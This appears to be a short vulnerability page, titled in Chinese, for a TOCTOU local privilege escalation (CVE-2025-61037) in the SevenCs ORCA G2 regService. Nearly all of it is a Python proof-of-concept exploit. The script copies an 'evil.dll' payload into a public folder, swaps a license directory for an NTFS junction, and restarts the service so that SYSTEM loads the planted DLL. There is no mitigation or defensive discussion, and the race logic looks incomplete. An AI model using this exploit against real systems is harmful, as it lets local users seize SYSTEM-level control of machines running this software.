CVE-2025-61037 SevenCs ORCA G2 regService进程TOCTOU本地权限提升漏洞

# CVE-2025-61037 PoC - TOCTOU Race Condition Exploitation # Target: SevenCs ORCA G2 regService SYSTEM Privilege Escalation import os import time import subprocess import threading import shutil TARGET_SERVICE = "regService" MALICIOUS_DLL = "evil.dll" FAKE_DIR = "C:\\ProgramData\\SevenCs\\License" REAL_DIR = "C:\\Users\\Public\\Downloads" def create_junction(source, target): """Create NTFS junction point""" try: if os.path.exists(target): os.rmdir(target) subprocess.run(['cmd', '/c', 'mklink', '/J', target, source], capture_output=True, check=True) print(f"[+] Junction created: {target} -> {source}") return True except Exception as e: print(f"[-] Failed to create junction: {e}") return False def monitor_and_replace(): """Monitor target directory and replace with junction""" while True: if os.path.exists(FAKE_DIR): if create_junction(REAL_DIR, FAKE_DIR): print("[+] Directory replaced with junction!") break time.sleep(0.01) def trigger_service(): """Trigger regService to perform license check""" time.sleep(0.05) try: subprocess.run(['sc', 'stop', TARGET_SERVICE], capture_output=True) time.sleep(0.1) subprocess.run(['sc', 'start', TARGET_SERVICE], capture_output=True) print("[+] Service restart triggered") except Exception as e: print(f"[-] Service trigger failed: {e}") def main(): print("[*] CVE-2025-61037 SevenCs ORCA G2 LPE Exploit") print("[*] Target: regService SYSTEM -> User Code Execution") # Prepare malicious DLL in controlled directory if not os.path.exists(REAL_DIR): os.makedirs(REAL_DIR) # Copy malicious payload if os.path.exists(MALICIOUS_DLL): shutil.copy(MALICIOUS_DLL, os.path.join(REAL_DIR, "target.dll")) print(f"[+] Payload placed in {REAL_DIR}") # Start race condition exploit monitor_thread = threading.Thread(target=monitor_and_replace, daemon=True) monitor_thread.start() # Trigger service operation trigger_service() monitor_thread.join(timeout=10) print("[*] Exploit sequence completed") if __name__ == "__main__": main()